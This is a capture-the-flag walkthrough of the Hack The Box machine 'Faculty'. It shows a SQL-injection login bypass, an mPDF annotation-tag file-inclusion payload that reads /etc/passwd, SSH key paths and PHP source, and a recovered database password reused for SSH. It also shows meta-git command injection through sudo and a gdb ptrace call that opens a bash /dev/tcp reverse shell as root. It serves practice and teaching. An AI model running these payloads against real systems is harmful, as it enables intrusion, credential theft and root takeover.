Our nmap scan only finds SSH and an nginx webserver on port 80. We discover a login page to an application called "School Faculty Scheduling System," which we can bypass using a basic SQL injection. In the main application, we are able to generate pdfs of a table of data. By looking at the URL where the PDFs are served from and the actual PDF metadata, we learn that they are generated using mPDF. We look at the requests that are sent when we click the PDF download button and see that we control the PDF content through a base64 encoded string. After a lot of digging, we find a local file inclusion (LFI) exploit in mPDF. We also are able to get the website to produce an erorr page that gives the full path to one of its PHP files. Using the LFI exploit, we get this file and obtain some credentials.
The credentials get us connect to the box via SSH and sudo -l shows that we can run meta-git as another user. We find an exploit and move laterally to that other user. On the new user, we get the user.txt flag. We run LinPEAS and discover that we can now run GDB and that GDB has the SYS_PTRACE capability, so it can attached to processes running as root. We find a python3 process, attach to it, and make a call to system giving us a reverse shell as root!



First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pretty light nmap scan for this box. Only SSH and a nginx webserver.
Let's add the faculty.htb domain to /etc/hosts: echo " faculty.htb" | sudo tee -a /etc/hosts.

Nginx (Port 80)

Navigating to http://faculty.htb redirects to http://faculty.htb/login.php:
We try to brute force the required id number using burpsuite's intruder feature, but after trying a few hundred numbers with no luck we give up.
Let's brute force directories with ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://faculty.htb/FUZZ:
admin [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 31ms]
Going to the newly discovered http://faculty.htb/admin shows a login page:
Trying a classic SQL injection with a username of admin' -- and password anything works (MySQL Injection info & general list of SQL injection payloads)! We get access to an administrator interface:
Searching for vulnerabilities in this program finds this list on ExpoitDB.
Anyway, the "Faculty List" section contains the information we need:
ID Name Email Contact
85662050 Blake, Claire G [email protected] (763) 450-0121
30903070 James, Eric P [email protected] (702) 368-3689
63033226 Smith, John C [email protected] (646) 559-9192
Now that we have emails and, more importantly, some ID numbers, we can try to get into the main page at http://faculty.htb, but going back to the main page just shows us a calendar. Logging out as admin and using an ID number does work, but doesn't seem to get us anywhere:
Interestingly, we can generate a PDF of the table. We get a pdf at http://faculty.htb/mpdf/tmp/OKFEkR81dfJX73wmOhSsyV9r0D.pdf. The mpdf in the URL indicates that this PDF was generated using mpdf.
Going back to the PDF download button and clicking it with the Network tab open in Firefox's developer tools shows that the button makes a POST request to /download.php:
There is a pdf field submitted with the following data:
Pasting it into CyberChef and clicking the magic button three times (base64 decode, url decode, url decode again) produces the following:
<h1><a name="top"></a>faculty.htb</h1><h2>Faculties</h2><table> <thead> <tr> <th class="text-center">ID</th> <th class="text-center">Name</th> <th class="text-center">Email</th> <th class="text-center">Contact</th></tr></thead><tbody><tr><td class="text-center">85662050</td><td class="text-center"><b>Blake, Claire G</b></td><td class="text-center"><small><b>[email protected]</b></small></td> <td class="text-center"><small><b>(763) 450-0121</b></small></td></tr><tr><td class="text-center">30903070</td><td class="text-center"><b>James, Eric P</b></td><td class="text-center"><small><b>[email protected]</b></small></td> <td class="text-center"><small><b>(702) 368-3689</b></small></td></tr><tr><td class="text-center">63033226</td><td class="text-center"><b>Smith, John C</b></td><td class="text-center"><small><b>[email protected]</b></small></td> <td class="text-center"><small><b>(646) 559-9192</b></small></td></tr></tboby></table>
This looks like the HTML content from the page. So, we have control over the content sent to mpdf. Let's try to find an exploit.
If we download the produced PDF and use exiftool like so exiftool OKOPoRnvSh3lM7xqe2iLIW1GJU.pdf, we get mpdf's version number:
ExifTool Version Number : 12.44
File Name : OKOPoRnvSh3lM7xqe2iLIW1GJU.pdf
Directory : .
File Size : 1781 bytes
File Modification Date/Time : 2022:07:27 19:49:14-04:00
File Access Date/Time : 2022:07:27 19:49:18-04:00
File Inode Change Date/Time : 2022:07:27 19:49:17-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Page Layout : OneColumn
Producer : mPDF 6.0
Create Date : 2022:07:28 00:49:06+01:00
Modify Date : 2022:07:28 00:49:06+01:00
Searching for "mpdf 6.0 exploit" finds Insecure PHP deserialization through phar:// wrapper which seems a little promising, CVE-2018-19047 (GitHub issue) that probably won't help, and phar:// deserialization and weak randomness of temporary file name may lead to RCE. The first and last seem like they might work if we knew if and where unserialize was called on our data.
Finding the exploit was kind of difficult in this case. Looking at the changelog for mpdf for version 6.1.0 doesn't seem interesting, but in version 7.0.0 this line is interesting: Security: Embedded files via <annotation> custom tag must be explicitly allowed via allowAnnotationFiles configuration key. Searching for "mpdf embedded files annotation tag" finds Make annotation tags disabled by default (mpdf annotation tag documentation).
Additionally, searching for "mpdf" exploit on Google reveals this article on the second page: Local file inclusion at IKEA.com.


The proof-of-concept exploit is as follows:
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Let's use burp to send this as the PDF to be generated instead of the table. First, we need to encode this in the reverse order that CyberChef decoded the PDF originally. So, with CyberChef we URL encode twice and then base64 encode:
We can intercept and send the request using burp to get a PDF url/file:
Then, all we have to do is open up the sidebar in Firefox's pdf.js viewer and look at the attached files. Or you can mouse over the small dot in the rop right and click the file name:
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Looks like we have two users: gbyolo and developer.
Let's try to get their private SSH keys since that is the only other port open. We modify the payload accordingly:
<annotation file="/home/developer/.ssh/id_rsa" content="/home/developer/.ssh/id_rsa" icon="Graph" title="Attached File: /home/developer/.ssh/id_rsa" pos-x="195" />
Encode with CyberChef:
However, sending thise on in burp produces an error: mPDF Error: Cannot access file attachment - /home/developer/.ssh/id_rsa. So, that file doesn't exist. /home/gbyolo/.ssh/id_rsa also doesn't exist.
Looking back at the application, we see that we can view users' schedules:
Clicking one produces a request in burp with faculty_id=2. I messed around with different values and found that sending a non-integer like faculty_id=not_an_int produces an error message:
As you can see, we are given the absolute path of a file that is part of the website: /var/www/scheduling/admin/admin_class.php. Let's read that with the LFI exploit we discovered with mpdf:
<annotation file="/var/www/scheduling/admin/admin_class.php" content="/var/www/scheduling/admin/admin_class.php" icon="Graph" title="Attached File: /var/www/scheduling/admin/admin_class.php" pos-x="195" />
Encode with CyberChef:
Using the same method as before, this gives us admin_class.php. Right at the top there is a mention of a db_connect.php file. Let's get that via LFI too:
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
This gives us the password Co.met06aci.dly53ro.per. Attempting to login via SSH as developer with this password doesn't work, but trying it with the gbyolo user does work!
total 44
drwxr-x--- 7 gbyolo gbyolo 4096 Jul 28 01:23 .
drwxr-xr-x 4 root root 4096 Jun 23 18:50 ..
lrwxrwxrwx 1 gbyolo gbyolo 9 Oct 23 2020 .bash_history -> /dev/null
-rw-r--r-- 1 gbyolo gbyolo 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gbyolo gbyolo 3771 Feb 25 2020 .bashrc
drwx------ 2 gbyolo gbyolo 4096 Jun 23 18:50 .cache
drwx------ 3 gbyolo gbyolo 4096 Jun 23 18:50 .config
drwxrwxr-x 3 gbyolo gbyolo 4096 Jun 23 18:50 .local
-rw------- 1 gbyolo gbyolo 248 Jul 28 01:23 .mysql_history
drwxrwxr-x 3 gbyolo gbyolo 4096 Jul 27 21:36 .npm
-rw-r--r-- 1 gbyolo gbyolo 807 Feb 25 2020 .profile
drwx------ 2 gbyolo gbyolo 4096 Jun 23 18:50 .ssh
No user.txt so it looks like we to pivot to the developer user.

Lateral Movement

We switch to pwncat instead of ssh so we can easily upload LinPEAS by running upload linpeas.sh in the local shell. Run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report_gbyolo.txt. Download the report with download linpeas_report_gbyolo.txt in the local terminal. You can open linpeas_report_gbyolo.txt with less -R linpeas_report_gbyolo.txt.
This doesn't find too many interesting things. But, since we have the password for this user, we can check sudo -l:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
We can run /usr/local/bin/meta-git as the developer user.
Running ls -la /usr/local/bin/meta-git shows that /usr/local/bin/meta-git is a sumbolic link to ../lib/node_modules/meta-git/bin/meta-git, which is an NPM package so we can find it up on npmjs.com.
After manually trying to find an exploit for a while, I instaed simply Google "meta-git exploit" and immediately find what I was looking for: HackerOne report.
We can use the following syntax to get command execution: /usr/local/bin/meta-git clone 'sss||bash'. Make sure to execute it with sudo -u developer so it runs as the developer user: sudo -u developer /usr/local/bin/meta-git clone 'sss||bash'.
We get the following output:
meta git cloning into 'sss||bash' at sss||bash
sss||bash: command 'git clone sss||bash sss||bash' exited with error: Error: spawnSync /bin/sh EACCES
(node:255220) UnhandledPromiseRejectionWarning: Error: EACCES: permission denied, chdir '/home/gbyolo/sss||bash'
at process.chdir (internal/process/main_thread_only.js:31:12)
at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11)
at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22)
at process._tickCallback (internal/process/next_tick.js:68:7)
at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
(node:255220) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 2)
(node:255220) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
The issue is that we are still in /home/gbyolo, which developer cannot access so we cd /tmp and then run it and it works!
We can now cat ~user.txt to get the user.txt flag and run cat ~/.ssh/id_rsa to get the SSh private key and login direrctly as developer.

Privilege Escalation

We can run LinPEAS again with ./linpeas.sh -a 2>&1 | tee linpeas_report_developer.txt to see if there is anything new: linpeas_report_developer.txt
We notice this file in the home directory: /home/developer/sendmail.sh:
[ -s /var/mail/gbyolo ] || echo "Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\n[email protected]" | /usr/bin/mail -s "Faculty group" [email protected]
We also notice this interesting output from LinPEAS:
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
-rw-r----- 1 root developer 33 Jul 27 13:06 /home/developer/user.txt
And this:
Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
Basically, since we are in the debug group, we have access to execute gdb, a debugging program. On this machine, gdb has the SYS_PTRACE capability, which means we can use it to "trace arbitrary processes using ptrace" (source). HackTricks has some additional information. Under the "Example with environment (Docker breakout) - Gdb Abuse" heading they discuss roughly what we are about to do.
We're going to use gdb to debug a process running as root and then make that process call the system function.
Example payload from HackTricks:
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
Let's look for a process with ps aux | grep ^root. Eventually we find python3 running as root:
$ ps aux | grep ^root.*python3
root 723 0.0 0.9 26896 18124 ? Ss Jul27 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
So, we start a listener with pwncat-cs -lp 58619 run the following commands:
gdb -p 723
call (void)system("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
Those commands output this:
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 723
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...
Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...
Reading symbols from /usr/lib/debug/.build-id/7b/4536f41cdaa5888408e82d0836e33dcf436466.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Reading symbols from /lib/x86_64-linux-gnu/libdl.so.2...
Reading symbols from /usr/lib/debug/.build-id/c0/f40155b3f8bf8c494fa800f9ab197ebe20ed6e.debug...
Reading symbols from /lib/x86_64-linux-gnu/libutil.so.1...
Reading symbols from /usr/lib/debug/.build-id/4f/3ee75c38f09d6346de1e8eca0f8d8a41071d9f.debug...
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...
Reading symbols from /usr/lib/debug/.build-id/fe/91b4090ea04c1559ff71dd9290062776618891.debug...
Reading symbols from /lib/x86_64-linux-gnu/libexpat.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libexpat.so.1)
Reading symbols from /lib/x86_64-linux-gnu/libz.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libz.so.1)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug...
Reading symbols from /lib/x86_64-linux-gnu/libnss_files.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/da81f0ac3660e3c3cb947c6244151d879ed9e8.debug...
Reading symbols from /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3/dist-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so)
Reading symbols from /lib/x86_64-linux-gnu/libglib-2.0.so.0...
(No debugging symbols found in /lib/x86_64-linux-gnu/libglib-2.0.so.0)
Reading symbols from /lib/x86_64-linux-gnu/libgobject-2.0.so.0...
--Type <RET> for more, q to quit, c to continue without paging--q
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
[Detaching after vfork from child process 476449]
This should spawn a reverse shell as the root user. Run cat /root/root.txt to get the root.txt flag.